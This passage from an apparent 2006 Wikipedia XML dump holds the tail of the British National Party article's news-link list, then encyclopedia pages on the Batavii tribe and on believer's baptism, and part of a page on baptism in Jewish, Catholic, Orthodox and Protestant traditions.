* [http://archive.thisisworcestershire.co.uk/2003/09/22/169602.html ''This is Worcestershire'' : It's no wonder the British National Party's on the move] [[22 September]] [[2003]] - This article argues that the mainstream parties have allowed social conditions in UK to deteriorate to the extent that people vote BNP to protest.
* ''Guardian'' story, [[18 October]] [[2003]]: [http://politics.guardian.co.uk/byelections/story/0,11043,1065726,00.html Lib Dems trounce BNP in council byelections]
* [http://icliverpool.icnetwork.co.uk/0100news/0100regionalnews/page.cfm?objectid=12800817&amp;method=full ''Liverpool Echo'' -  BNP Man sent razor blades to city Jews -  [[2 April]] [[2003]]]
* [http://news.bbc.co.uk/1/hi/scotland/3554755.stm BBC News: BNP leader defends Scottish visit to area where teenage murder victim was abducted] ([[21 March]] [[2004]])
* [http://news.bbc.co.uk/1/hi/uk_politics/3645307.stm BBC News: Le Pen to help BNP] ([[21 April]] [[2004]]) 
* [http://news.bbc.co.uk/1/hi/uk_politics/3654941.stm BBC News: Le Pen UK visit sparks protests] ([[25 April]] [[2004]])
* [http://politics.guardian.co.uk/elections2004/story/0,14549,1217914,00.html ''The Observer/Guardian'' : Jennifer's journey to the front of the BNP] ([[16 May]] [[2004]]) - Story about Nick Griffin's daughter Jennifer who heads the Young BNP (now called Young Brits) Note: YBNP used to have a website but it seems to have closed.
* [http://news.bbc.co.uk/1/hi/england/west_yorkshire/3857397.stm BBC News: Bus driver sacked over BNP membership] ([[1 July]] [[2004]]) 
* [http://news.bbc.co.uk/1/hi/uk/3894529.stm BBC News: BNP activists admit to race crime] ([[15 July]] [[2004]])
* [http://news.bbc.co.uk/1/hi/magazine/3896213.stm BBC News: Going Undercover in the BNP] ([[15 July]] [[2004]])
* [http://news.bbc.co.uk/1/hi/business/3901621.stm BBC News: Barclays Bank bans BNP accounts] ([[16 July]] [[2004]])
* [http://news.bbc.co.uk/1/hi/england/lancashire/3974731.stm BBC News: Comic banned for 'shoot BNP' joke] ([[2 November]] [[2004]])
* [http://www.politics.co.uk/election-2005/bnp-take-london-council-seat-$3437938.htm Politics.co.uk : BNP take London council seat] ([[17 September]] [[2004]])
* [http://www.mirror.co.uk/news/allnews/page.cfm?objectid=14947504&amp;method=full&amp;siteid=50143 ''Mirror'': He sounded white on the phone]
* [http://www.yorkshiretoday.co.uk/ViewArticle2.aspx?SectionID=55&amp;ArticleID=967084 ''The Yorkshire Post'': Shock over BNP woman with city care job] ([[10 March]] [[2005]])
* [http://www.yorkshiretoday.co.uk/ViewArticle2.aspx?SectionID=55&amp;ArticleID=974980 ''The Yorkshire Post'': BNP activist to keep job as community care worker] ([[18 March]] [[2005]])
* [http://news.bbc.co.uk/2/hi/uk_news/wales/4386613.stm BBC News: Race ruling against BNP official] ([[27 March]] [[2005]]) - BNP official loses compensation after he was expelled from a trade union (for promoting racism, rather than membership of the BNP as such).
* [http://news.scotsman.com/latest.cfm?id=4340029 ''Scotsman.com'' : Racism 'Simmering' in British Schools] ([[1 April]] [[2005]]) 
*  [http://www.eppingforestguardian.co.uk/news/localnews/display.var.585316.0.bnp_attended_awards_without_any_incident.php ''Epping Forest Guardian'' : BNP attended awards without any incident] ([[11 April]] [[2005]])
* [http://www.manchesteronline.co.uk/men/news/s/163/163054_bnp_pair_fined_for_brawl_on_campus.html ''Manchester Evening News'' - BNP pair fined for brawl on campus - [[June 17]] [[2005]]]
* [http://www.thesun.co.uk/article/0,,2-2005320172,00.html ''The Sun Newspaper'' : BNP bomb leaflet storm] ([[13 July]] [[2005]])
* [http://www.theaustralian.news.com.au/common/story_page/0,5744,15942648%255E2703,00.html ''The Weekend Australian'' : The streets where revenge brews] Reports growing ethno-religious tensions in England, including the perspectives of local Muslims, as well as, BNP regional organiser Nick Cass and the BNP's national press officer Dr. Phil Edwwards. ([[16 July]] [[2005]])
* [http://www.thisislondon.co.uk/news/articles/PA_NEWA11766291121782872A00001?source=PA%20Feed ''This Is London'' : Architect of BNP found dead at home] Reports on the death of BNP founder John Tyndall ([[20 July]] [[2005]])
*[http://politics.guardian.co.uk/farright/story/0,11375,1533355,00.html ''The Guardian'' : BNP leader denies race hate charges] Update on Trail of Nick Griffin and Mark Collet ([[21 July]] [[2005]])
* [http://www.yorkshiretoday.co.uk/ViewArticle2.aspx?SectionID=55&amp;ArticleID=1101232 ''Yorkshire Post'' : BNP councillor wins fresh hearing in sacking fight] Update on the sacking of bus driver Arthur Redfearn in 2004. ([[30 July]] [[2005]])
* [http://news.bbc.co.uk/1/hi/uk_politics/4239358.stm ''BBC News'' : Bush 'promoted West-Muslim clash'] Article on Ken Livingstone - blaming Bush and the &quot;right-wing neo-con establishment&quot; for the rise in BNP support. [[12 September]] [[2005]]
* [http://www.mirror.co.uk/news/tm_objectid=15958932&amp;method=full&amp;siteid=94762&amp;headline=paper-of-the-bnp-is-seized--name_page.html ''Mirror'' : PAPER OF THE BNP IS SEIZED] [[12 September]] [[2005]] 
* [http://news.bbc.co.uk/2/hi/uk_news/england/kent/4236640.stm ''BBC News'' : Police hand back seized BNP paper] [[12 September]] [[2005]]
* [http://www.newsandstar.co.uk/news/viewarticle.aspx?id=281603 ''News &amp; Star'' : BNP Editor Condemns Newspapper Seizure] [[13 September]] [[2005]]

====Police press release====
* [http://www.acpo.police.uk/news/2003/q4/BNP.html Association of Chief Police Officers: News &amp; Press releases] Press Release([[7 November]] [[2003]]) Ban on Police Membership of the BNP.

====Pro-BNP articles====
* [http://www.think-israel.org/locke.bnp.html The BNP Goes Straight (source: Think-Israel)]
* [http://www.thirdway.org/files/reviews/copsey.html Third Way'': Review by Pat Harrington: Contemporary British Fascism: The British National Party and the Quest for Legitimacy written by Nigel Copsey]

{{British political parties}}

[[Category:Political parties in the United Kingdom]]
[[Category:Euronationalist parties]]
[[Category:LGBT rights opposition]]
[[Category:White nationalists]]
[[Category:Neo-Nazism]]
[[Category:British fascists]]
[[Category:1980 establishments]]

[[de:British National Party]]
[[pl:Brytyjska Partia Narodowa]]
[[pt:Partido Nacional Britânico]]
[[sv:British National Party]]</text>
    </revision>
  </page>
  <page>
    <title>Batavii</title>
    <id>4295</id>
    <revision>
      <id>38163184</id>
      <timestamp>2006-02-04T17:00:55Z</timestamp>
      <contributor>
        <username>Panairjdde</username>
        <id>2400</id>
      </contributor>
      <text xml:space="preserve">The '''Batavii''' (or '''Batavi''', '''Batavians''') were a  [[Germanic tribes|Germanic]] tribe, originally part of the [[Chatti]], reported by [[Gaius Cornelius Tacitus|Tacitus]] to have lived around the [[Rhine]] delta, in the area which is currently the [[Netherlands]], &quot;an uninhabited district on the extremity of the coast of Gaul, and also of a neighbouring island, surrounded by the ocean in front, and by the river Rhine in the rear and on either side&quot; (Tacitus, ''Histories'' iv).  This led to the [[Latin]] name of '''Batavia''' for the area. The same name is used for several military units, originally raised among the Batavii.

==Location==
They were mentioned by Julius Caesar in his commentary ''[[Gallic Wars]]'', as living on an island formed by the [[Meuse River]] after it is joined by the [[Waal]], 80 Roman [[mile]]s from the mouth of the river. He said there were many other islands formed by branches of the [[Rhine]], inhabited by savage and barbarous nations, some of whom were supposed to live on fish and the eggs of sea-fowl.

Tacitus named the [[Mattiaci]] as a similar tribe under homage, but on the other side of the Rhine.  The areas inhabited by the Batavians were never occupied by the [[Roman Empire|Romans]], as the Batavians were allies.

The Batavians falsely became regarded as the eponymous ancestors of the [[Netherlands|Dutch]] people. The Netherlands were briefly known as the [[Batavian Republic]]. Moreover, in the time [[Indonesia]] was a Dutch colony, the capital (now [[Jakarta]]) was named Batavia.

==Military units==
[[Image:Funerary Stela Corporis Custodes.jpg|thumb|left|Funerary stela of one of [[Nero]]'s ''Corporis Custodes'' (imperial bodyguard). The bodyguard, Indus, was of the Batavian tribe. ]]
Later, Tacitus described the Batavians as the bravest of the tribes of the area, hardened in the German border wars, with cohorts under their own noble commanders transferred to [[Britannia]]. He said they retained the honour of the ancient association with the Romans, not required to pay tribute or taxes and used by the Romans only for war: &quot;They furnished to the Empire nothing but men and arms&quot;, Tacitus remarked. Well-regarded for their skills in horsemanship and swimming&amp;mdash;for men and horses could cross the Rhine without losing formation, according to Tacitus. [[Dio Cassius]] describes this surprise tactic employed by [[Aulus Plautius]] against the &quot;barbarians&quot;&amp;mdash;the British Celts&amp;mdash; at the [[Battle of the Medway|battle of the River Medway]], 43: 

:''The barbarians thought that Romans would not be able to cross it without a bridge, and consequently bivouacked in rather careless fashion on the opposite bank; but he sent across a detachment of Germans, who were accustomed to swim easily in full armour across the most turbulent streams. [...] Thence the Britons retired to the river Thames at a point near where it empties into the ocean and at flood-tide forms a lake. This they easily crossed because they knew where the firm ground and the easy passages in this region were to be found; but the Romans in attempting to follow them were not so successful. However, the Germans swam across again and some others got over by a bridge a little way up-stream, after which they assailed the barbarians from several sides at once and cut down many of them.'' (Cassius Dio, Roman History, Book 60:20)

The Batavians also provided a contingent for the Emperor's [[Imperial Horse Guard (Roman)|Imperial Horse Guard]].

===Batavian Rebellion===

:''Main article: [[Gaius Julius Civilis]]''.

Despite the alliance, one of the high-ranking Batavii, Julius Paullus, to give him his Roman name, was executed by Fonteius Capito on a false charge of rebellion. His kinsman [[Gaius Julius Civilis]] was paraded in chains in Rome before Nero; though he was acquitted by Galba, he was retained at Rome, and when he returned to his kin in the year of upheaval in the Roman Empire, AD [[69]], he headed a Batavian rebellion  which was defeated by the Romans the following year, a narrative told in great detail in Tacitus' History, book iv. Following the uprising, four cohorts of Batavii were sent to Britain under the leadership of the new governor, Q. Petilius Cerialis [http://www.roman-britain.org/military/coh1bat.htm].

Numerous altars and tombstones of the Batavii, dating to the  [[2nd century]] and [[3rd century]], have been found along [[Hadrian's Wall]], notably at [[Castlecary]] and [[Carrawburgh]], [[Germany]], [[Yugoslavia]], [[Hungary]], [[Romania]] and [[Austria]]. After the 3rd century, however, the Batavians are no longer mentioned, and they are assumed to have merged with the neighbouring [[Frisians|Frisian]] and [[Frankish]] people.

==External links==
*[http://classics.mit.edu/Tacitus/histories.4.iv.html Tacitus, ''Histories'', Book iv]
*[http://www.livius.org/a/1/germania/germinf_map.gif A map] of the Roman province [[Germania Inferior]] and neighbouring tribes.
*[http://www.roman-britain.org/military/coh1bat.htm Cohors Primae Batavorum]


[[Category:Ancient peoples]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ethnic groups in Europe]]

[[de:Bataver]]
[[nl:Bataven]]</text>
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  </page>
  <page>
    <title>Believers baptism</title>
    <id>4297</id>
    <revision>
      <id>41888618</id>
      <timestamp>2006-03-02T11:08:37Z</timestamp>
      <contributor>
        <username>BrownHairedGirl</username>
        <id>754619</id>
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      <comment>Disambig</comment>
      <text xml:space="preserve">'''Believer's baptism''' (also called '''credobaptism''') is the [[Christianity|Christian]] ritual of [[baptism]] as given only to adults and children who have made a declaration of faith in [[Jesus]] as their personal [[salvation|savior]], because he died for their sins, and was [[Resurrection of Jesus|resurrected]] by the power of [[God the Father]].  Whereas [[Catholicism|Roman Catholics]], [[Eastern Orthodoxy|Eastern Orthodox]], [[Anglicanism|Anglicans]], and a number of [[Protestantism|Protestant]] churches baptize infant children of believers (see [[pedobaptism]]), believer's baptism is administered only to persons who have passed the age of accountability or [[reason]], which is usually age 8-12, though differences in denominational practice (and in psychological development among children) can cause the age to be set higher or lower.  Sometimes the pastor or church leader will determine the believer's understanding and conviction through personal interviews.  Applicants for baptism may undergo [[catechism|catechesis]] or attend faith exploration classes. Thus, [[intellect|intellectual]] understanding and agreement are prerequisites for baptism, according to this view.  In the [[Mennonite]] church, those wishing to be baptized are usually in their mid-teens or older; in other denominations baptisands are sometimes younger.  

Some suggest that believer's baptism combines two rituals from Roman Catholicism: [[Confirmation (sacrament)|Confirmation]] and (infant) baptism.  In areas where those who practice believer's baptism are the physical or cultural majority, the ritual may function as a [[rite of passage]], by which the child is granted the status of an adult.  Most denominations who practice beliver's baptism also specify the mode of baptism, generally preferring ''[[immersion]]'' (in which the baptisand is lowered [http://www.perseus.tufts.edu/cgi-bin/ptext?doc=Perseus%3Atext%3A1999.04.0057%3Aentry%3D%2319323  completely beneath the surface] of a body of water) over ''affusion'' (in which water is sprinkled or poured over the baptisand).  Yet all three modes have support from the Bible as well as the [[Didache]].

In some denominations, believer's baptism is a prerequisite to full church membership.  This is generally the case with churches with a [[congregationalist church governance|congregational]] form of church government. Persons who wish to become part of the church must undergo believer's baptism in that local body, or another body whose baptism the local body honors.  Typically, local churches will honor the baptism of another church if that tradition is of similar faith and practice, or if not, then if the person was baptized (usually by immersion) subsequent to conversion.  

Believer's baptism is one of several distinctive doctrines associated closely with the [[Baptist]] and [[Anabaptist]] (literally, ''rebaptizer'') traditions, and their [[theology|theological]] relatives.  Among these are the members of the American [[Restoration Movement]].  Many churches associated with [[Pentecostalism]] also practice believer's baptism, though some also offer infant baptism.  

In Holiness denominations, a ritual known as Dedication or Infant Dedication supplements or replaces infant baptism.  However, unlike baptism, the rite is centered upon the parents, who dedicate the child to God and vow to raise him/her in a God-fearing home.  Although Dedication often occurs at the same age as infant baptism, it is not considered a replacement for baptism.

Believer's baptism is more prevalent in Christian traditions which maintain that there is a state of innocency from birth to the age of accountability (if the believer, due to mental or emotional disability, is not likely to gain the ability to judge the morality of his or her actions, this state of innocency persists for life).  Credobaptism is less prevalent in traditions which maintain that the corruption of original sin is present at birth and is sufficient guilt in the eyes of God to cause the child to be damned, should it die before baptism.  

== Theological objections ==

One standard theological argument leveled against believer's baptism is that it makes the efficacy of the sacrament dependent upon the understanding of the baptisand; that is, it depends upon what the baptisand knows.  This runs counter to the theological belief that God saves whom he will, regardless of any worthiness or knowledge on the part of the saved.

Another is that it contradicts the belief that one person's faith and prayers may be extended to benefit another, particularly in cases when the prospective baptisand lacks the intellectual capacity to comprehend and give intellectual assent to a creed, as in the case of infants or adults who are mentally impaired.

A further objection is that it implies that families in a congregation with young unbaptised children are comprised of both Christians and non-Christians, which usually does not reflect the actual belief and experience of those families or of the congregation.

Even in theological circles where some response to God's call is considered necessary for the convert (such as belief, confession, repentance, and prayer), a believer's baptism is usually categorized as a work instead of a response of faith, though [[Independent Christian Churches/Churches of Christ#Baptism|not always]].

==See also==
* [[confirmation (sacrament)]]
* [[pedobaptism]]

==External links==
*[http://www.monergism.com/thethreshold/articles/topic/babtism.html Lots of articles about Infant Baptism and Believer's Baptism from a Reformed and Protestant Perspective]
*[http://www.anabaptistnetwork.com/node/view/162 Adult Baptism in the Early Church: Some evidence from Ireland]

[[Category:Baptism]]
[[Category:Anabaptism]]
[[Category:Baptist]]
[[Category:Restoration Movement]]
[[Category:Charismatic and Pentecostal Christianity]]
[[de:Gläubigentaufe]]
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  <page>
    <title>Baptism</title>
    <id>4298</id>
    <revision>
      <id>42101727</id>
      <timestamp>2006-03-03T21:09:53Z</timestamp>
      <contributor>
        <ip>70.173.83.76</ip>
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      <text xml:space="preserve">{{Attention see talk}}
[[Image:Baptism - Marcellinus and Peter.jpg|frame|Baptism in early Christian art.]]
'''Baptism''' is any water purification ritual practiced in many of various [[religion]]s including [[Christianity]], [[Mandaeanism]], and [[Sikhism]], and has its origins with the [[Judaism|Jewish]] ritual of ''[[mikvah]]''. The word ''baptize'' derives from the [[Greek language|Greek]] word βάπτειν (the infinitive; also listed as the 1st person singular present active indicative &amp;beta;&amp;alpha;&amp;pi;&amp;tau;ί&amp;zeta;&amp;omega;), which loosely means &quot;to dip, bathe, or wash&quot;.  To some groups it is a matter of religious conviction to assert that ''baptism'' is precisely equivalent to, ''to plunge something entirely into the water, so that the water closes over it.'' 

Today, baptism is most readily identified with [[Christianity]], where it symbolizes the cleansing (remission) of sins, and the union of the believer with Christ in His death, burial and resurrection so that he becomes one of [[Christ's Faithful]]. The Christian ritual of baptism traces back to the [[baptism of Jesus]] by [[John the Baptist]], who the [[Bible]] says baptized [[Jesus]], as well as many Jewish Israelites and [[Gentiles]] in the [[Jordan River]]. Baptism among [[Christian]]s is performed by ''aspersion'' (sprinkling water over the head), ''infusion'' (pouring water over the head) or full ''immersion'' (lowering the entire body into a pool of water). The choice to be baptized is made by a 'confessing believer' ([[believer's baptism|believer baptism]], or [[credobaptism]]), regardless of age, as a 'confession' or public profession of his or her [[faith]] in [[Christ]]; or on behalf of the child by his or her parents ([[paedobaptism]]) if the parents had themselves been baptized, and professed faith. Some churches practice [[credobaptism]] and some practice [[paedobaptism]], and some churches practice both.  Some practice immersion, some practice pouring, and some practice sprinkling.  There are differences in views about the nature and practice of Christian baptism.  

[[Martin Luther]], for example, placed great importance on baptism. Luther states in ''[[Luther's Large Catechism|The Large Catechism]]'' of [[1529]], 

:&quot;To put it most simply, the power, effect, benefit, fruit, and purpose of Baptism is to save. No one is baptized in order to become a prince, but as the words say, to 'be saved.' To be saved, we know, is nothing else than to be delivered from sin, death, and the devil and to enter into the kingdom of Christ and live with him forever.&quot;  

In contrast, some Baptist groups deny that baptism has any such power, but rather only testifies outwardly to the operation of God's power, which is invisible, internal, and completely 'separate' from the rite itself. Other Baptist groups teach and [[preach]] that the baptism 'ceremony' is 'meaningful and necessary'.

For Christians who baptize by pouring or sprinkling, the washing with water from above pictures the cleansing of one's [[sin|sins]] by the blood of Christ, by the Holy Spirit, who unites the baptized person to Christ in his death, and in His resurrection from the dead.  It is administered from above to point to that gift of the life-giving Spirit, and to portray baptism as an act not of man, but of God.  In contrast, a person baptized by immersion is enclosed under the water and brought out, to signify cleansing through death and burial with Christ, and consequent raising again in newness of life by the Holy Spirit.  Baptism is a public rite, in testimony to others of the [[Divine grace|grace of God]] bestowed upon the person, and as a seal of God's promises in Christ to those who believe.

==Background in Jewish ritual==
{{main|Mikvah}}

Although the term ''baptism'' is not used to describe the Jewish rituals, the purification rites (or ''Mikvah'' - ritual bath) in [[Halakha|Jewish laws]] and tradition are where the ritual of baptism can find its origins.  In the [[Tanakh]], and other Jewish texts, bathing for ritual purification was established for specified circumstances &amp;ndash; in order to be restored to a condition of 'ritual purity'.  For example, [[Jew|Jews]] who become ritually 'defiled' by contact with a corpse (according to the [[Law of Moses]]), had to use the mikvah before being alowed to participate in the Holy Temple.  Immersion is required for [[Ger tzedek|converts to Judaism]] as part of their conversion. Through practices such as these, immersion in the mikveh represent purification and restoration, and qualification for full religious participation in the life of the community. (See [[Book of Numbers|Numbers]] Chapter 19)

In modern times, the adherence and observance of the laws, rituals, and customs regarding the ''mikvah'' differ greatly among the [[Jewish denominations]]. Due to the destruction of the Holy Temple, these days, immersion in a Mikvah has no practical purpose; but many [[Orthodox Judaism|Orthodox]] and [[Haredi Judaism|Haredi]] Jews do so anyway, in order to 'increase purity'. The only modern exception is that after [[menses]], women need to immerse in a ''mikvah'' in order to be permitted to her husband. For more details see [[niddah]].

==Explanation==
[[Image:Girl at catholic christening.jpg|thumb||A Catholic baptism]]
The Christian explanation of baptism as the definitive rite, by which the baptized person is indicated to be fully- qualified for participation in the life of the Church, begins with the career of [[John the Baptist]], who was the cousin of [[Jesus]].  Those who believe that John was a [[prophet]] identify baptism with his message concerning [[repentance]] in preparation for the coming of the [[Messiah]].

:&quot;He [John] went into all the country around the [[Jordan River|Jordan]], preaching a baptism of repentance for the forgiveness of [[sin]]s.  As is written in the book of the words of Isaiah the prophet: &quot;A voice of one calling in the desert, 'Prepare the way for the Lord, make straight paths for him. Every valley shall be filled in, every mountain and hill made low. The crooked roads shall become straight, the rough ways smooth.  And all mankind will see God's salvation.'&quot; [http://bible.gospelcom.net/cgi-bin/bible?passage=Luke+3%3A3-6&amp;x=12&amp;y=8&amp;NIV_version=yes&amp;language=english Luke 3:3-6, NIV]

:&quot;Produce fruit in keeping with repentance.&quot;  [http://bible.gospelcom.net/cgi-bin/bible?passage=Luke+3%3A8&amp;x=12&amp;y=8&amp;NIV_version=yes&amp;language=english Luke 3:8, NIV]

John declared that [[repentance]] was necessary, prior to [[forgiveness]].  There must be a return to God.  This implies that the stain of sin is not ineradicable, but can be removed by putting off polluting acts and returning to &quot;the way of the Lord&quot;, all of which was symbolized in his baptism.  

Christians believe that John also taught that his baptism was not finally sufficient, and that repentance would not attain to its goal of separation from sin, apart from a greater baptism which it was not in his power to give.  According to the [[Gospel of Luke]], John taught, &quot;I baptize you with water; but one comes who is stronger than I, of whom I am not worthy to untie the strap of his sandals; he will baptize you with the Holy Spirit and fire; his winnowing fork is in his hand to clean out his threshing floor and to gather the wheat into his storehouse, but the chaff he will burn with inextinguishable fire.&quot; ([[Gospel of Luke|Luke 3,16-17]]) Christians believe that John's baptism shows that the effort to make oneself acceptable to God by repentance would be superseded, made complete by the coming of the [[Lamb of God]] that 'takes away' (not 'covers over') sins.  

According to the [[Gospel of John]], after John baptized Jesus, he testified concerning him, 

:&quot;I have seen the Spirit coming down as a dove from heaven, and it remained upon him. And I had not known him, but the one who sent me to baptize with water, that one said to me, On whomever you see the Spirit coming down and remaining upon him, this is the one baptizing with the Holy Spirit. And I have seen, and I have testified that this is the [[son of God]].&quot; ([[Gospel of John|John 1,32-34]]) 

:&quot;Behold the Lamb of God, that takes away the sins of the world.&quot;

From this point on, water baptism became identified with the followers of Jesus, who preached &quot;Repent, for the [[kingdom of God]] is near,&quot; and explicitly identified the coming of the kingdom with his own appearing.

At the end of his recorded ministry, Jesus charged the [[Twelve Apostles|Apostles]] to baptize &quot;in the name of Father, Son and Holy Spirit&quot; in the [[Great Commission]] ([http://www.biblegateway.com/passage/index.php?search=Matthew+28:19 Matthew 28:19]), which has become the common formula for baptizing. The Apostles are recorded baptizing only in the name of Jesus in the [[Book of Acts]] ([http://www.biblegateway.com/passage/index.php?search=acts+2:38;acts+8:16;acts+10:48;acts+19:5 Acts 2:38; 8:16; 10:48; 19:5]) - a fact which figures prominently among groups who reject the [[trinitarian formula]].

==Ecumenical statement==
The [[Christian ecumenism|ecumenical]] paper ''Baptism, Eucharist and Ministry'', prepared by representatives across a spectrum of Christians, Orthodox, Roman Catholic, and Protestants traditions of Christianity attempts to express a common understanding of baptism, as it is derived from the New Testament.  

: &quot; ... according to Acts 2:38, baptisms follow from Peter's preaching baptism in the name of Jesus and lead those baptized to the receiving of Christ's Spirit, the Holy Ghost, and life in the community: &quot;They devoted themselves to the apostles' teaching and fellowship, to the breaking of bread and the prayers&quot; (2:42) as well as to the distribution of goods to those in need (2:45). Those who heard, who were baptized and entered the community's life, were already made witnesses of and partakers in the promises of God for the last days: the forgiveness of sins through baptism in the name of Jesus and the outpouring of the Holy Ghost on all flesh (2:38). Similarly, in what may well be a baptismal pattern, 1 Peter testifies that proclamation of the resurrection of Jesus Christ and teaching about new life (1:3-21) lead to purification and new birth (1:22-23). This, in turn, is followed by eating and drinking God's food (2:2-3), by participation in the life of the community &amp;mdash; the royal priesthood, the new temple, the people of God (2:4-10) &amp;mdash; and by further moral formation (2:11 ff.). At the beginning of 1 Peter the writer sets this baptism in the context of obedience to Christ and sanctification by the Spirit (1:2). So baptism into Christ is seen as baptism into the Spirit (cf. 1 Cor. 12:13). In the fourth gospel Jesus' discourse with Nicodemus indicates that birth by water and Spirit becomes the gracious means of entry into the place where God rules (John 3:5).&quot; [http://www.wcc-coe.org/wcc/what/faith/faverg.html]

The most commonly cited reference for the command justifying the continuing practice of baptism by Christians, is the &quot;Great Commission,&quot; found in the book of St. Matthew chapter 28, verses 18-20. It is typically viewed as the rite by which a person is joined to Jesus and his body, the Church, in connection with which the baptized person who has received the Holy Spirit is considered to be a Christian.

==Roman Catholic, Eastern Catholic, Eastern Orthodox, Lutheran, Anglican and Methodist baptism==
[[Image:BaptismalFontStRaphaelDubuque.jpg|thumbnail|The baptistry at [[St. Raphael's Cathedral (Dubuque)|St. Raphael's Cathedral]], [[Dubuque, Iowa]].]]

The [[liturgy]] of baptism in the [[Catholicism|Catholic]], [[Eastern Orthodoxy|Eastern Orthodox]], [[Lutheranism|Lutheran]], [[Anglicanism|Anglican]], and [[Methodism|Methodist]] traditions makes clear reference to baptism as not only a symbolic burial and resurrection, but an actual supernatural transformation, one that draws parallels to the experience of [[Noah]] and the passage of the [[Israelites]] through the [[Red Sea]] divided by [[Moses]].  Thus baptism is literally and symbolically not only cleansing, but also dying and rising again with Christ. Catholics believe that baptism is necessary for the cleansing of the taint of [[original sin]], and for that reason infant baptism is a common practice. The Orthodox also practice infant baptism on the basis of various texts such as [[Gospel of Matthew|Matthew]] 19:14 which are interpreted to condone full Church membership for children, and so baptism is immediately followed by [[Chrismation]] and [[Eucharist|Communion]] at the next [[Divine Liturgy]] regardless of age. Anglicans believe that Baptism is also the entry into the Church and therefore allows them access to all rights and responsibilities as full members, including the privilege to receive Holy Communion. Most Anglicans agree that it also cleanses the taint of original sin, though those Anglicans who agree with a more Eastern understanding of original sin think it exactly the same was as the Eastern Orthodox.

[[Latin Rite]] Catholics generally baptize by infusion (pouring); Orthodox and Eastern Catholics usually by immersion.  However immersion is gaining in popularity within the Catholic Church.  In newer churches, the baptismal font may be designed to expressly allow for baptism by immersion.  Older church building may feature this as well by either building a new baptismal font or expanding an existing one. Anglicans practice a myriad of ways to be baptized, from immersion to sprinkling.

According to Holy Tradition, if baptism through immersion cannot be done, it should be done through pouring (and if that isn't possible, through sprinkling). In addition, cold water is preferred over warm. The water must be in a state of motion (living water implies motion), so immersion in stagnant water is thought less than pouring or even sprinkling.

The Catholic, Orthodox, and Anglican churches practice a triple baptism in the name of the Holy [[Trinity]].   

===Baptism and salvation===
In Catholic teaching, baptism plays an essential role in salvation. The Church teaches that &quot;baptism is necessary for salvation&quot; (Catechism, 1257) and entry into heaven; and therefore, a person who knowledgeably, willfully and unrepentedy rejects baptism has no hope of salvation. Three forms of baptism are acknowledged by the Church. Baptism by water refers to the traditional baptism where the individual is immersed or infused with water in the name of the Trinity. 

The Church also recognizes two other forms of baptism: &quot;baptism of blood&quot; and &quot;baptism of desire.&quot; Baptism of blood refers to unbaptized individuals who are [[martyr]]ed for the Faith, while baptism of desire refers to [[catechumen]]s who die before they can be baptized. The Catechism of the Catholic Church describes these two forms:

&lt;blockquote&gt;The Church has always held the firm conviction that those who suffer death for the sake of the faith without having received Baptism are baptized by their death for and with Christ. This ''Baptism of blood'', like the desire for Baptism, brings about the fruits of Baptism without being a sacrament. (1258) &lt;/blockquote&gt;

&lt;blockquote&gt;For catechumens who die before their Baptism, their explicit desire to receive it, together with repentance for their sins, and charity, assures them the salvation that they were not able to receive through the sacrament. (1259)&lt;/blockquote&gt;

As for unbaptized infants, the Church is unsure of their fate; &quot;the Church can only entrust them to the mercy of God&quot; (Catechism, 1261).

===Conditions of the validity of a baptism===
[[Image:Baptism - Saint Calixte.jpg|thumb|left|Baptism - Saint Calixte Catacomb - 3rd century.]]Since the Catholic, Orthodox, and Anglicans believe that baptism is a sacrament having actual spiritual and salvific effects, certain criteria must be complied with for it to be valid (i.e. to actually have those effects.) These criteria are actually broader than the ordinary practice. Violation of some rules regarding baptism renders the baptism ''illicit'' (in violation of the church's laws) but still valid. For example, if a Priest introduces some variation in the authorised rite for the ceremony, the baptism will be valid (provided certain key criteria are met). 

One of the criteria for validity is that the correct form of words be used. Roman Catholics use the form &quot;I baptise you..&quot;; some [[Eastern-Rite]] Catholics and the Orthodox use the form &quot;Let this servant of Christ be baptised...&quot; or &quot;This person is baptised by my hands...&quot;. However, both churches recognise the other's form as valid. The Catholic church teaches that the use of the verb &quot;baptise&quot; is essential.

It is also considered essential that the [[Trinitarian formula]] is used; thus they do not accept as valid baptisms of non-[[Trinitarian]] churches such as [[Oneness Pentecostals]]. There was an ancient controversy over baptism using the formula that Oneness Pentecostals use, with some ancient authorities holding it to be valid. However, this was motivated by the apparent use of that formula at some places in scripture, not by anti-Trinitarian intentions (which would certainly be considered an invalidation of the baptism, regardless of the superficial validity of the formula). The most significant part, some theologians have argued, is not so much the Trinitarian wording, as the Trinitarian intention, and the recognition that the baptism involves all three Persons.

Another condition is that water be used. Some Christian groups historically have rejected the use of water for baptism, for example the [[Albigensians]]. These baptisms would not be valid, nor would a baptism in which some other liquid was used. However, the Church has determined that emergency baptism performed with a liquid other than water (only where water is not available) is vaild. In one such case, antifreeze from a car radiator was used under extraordinary necessity, and declared valid.

Another requirement is that the celebrant intends to perform baptism. This requirement entails that the theology of baptism that the baptiser holds be sufficiently similar to that of the Catholic Church, although an exact identity is not required. However, where another denomination has a somewhat different, somewhat similar, theology of baptism, it can be difficult to be sure whether the requirement of intention is met. This is why [[Conditional baptism|conditional baptisms]] are often performed in these cases.

Some conditions expressly do not affect validity; fpr example, whether immersion, infusion or aspersion is used. Some theologians have also argued that sprinkling on a part of the body other than the head in an emergency would also be valid.  In many communions it does not affect validity for a single immersion to be performed rather than a triple, but in Orthodoxy this is controversial.

According to the church, the act of baptism imparts an indelible &quot;seal&quot; upon the soul of the baptized. Thus, once baptised, an individual cannot be baptised again. There was an ancient practice in some areas of rebaptising those who had returned to the church from heresy, but that practice has been rejected.

===Baptism by other denominations===
The Catholic, Lutheran, Anglican, Presbyterian and Methodist churches accept baptism performed by other denominations as valid, subject to certain conditions. It is only possible to be baptized once, thus people with valid baptisms from other denominations may not be baptized again upon conversion or transfer. Instead, for these individuals, either the sacrament of confirmation or a reaffirmation of faith is performed. However, in some cases it can be difficult to decide if the original baptism was in fact valid; if there is any doubt, a [[conditional baptism]] is employed, in which the officiant says something of the form of &quot;if you are not yet baptised, I baptise you...&quot;. The need for conditional baptisms is motivated not only by factual uncertainties regarding the original baptism, but also by the uncertainty of some of the baptismal theology regarding the precise conditions for the validity of baptism (the Church holds one cannot be certain that opinions offered by pious theologians, but on which the Church has not made an authoritative pronouncement, are in fact correct, and even authoritative pronouncements can have multiple interpretations which the Church has neither definitively endorsed or rejected).

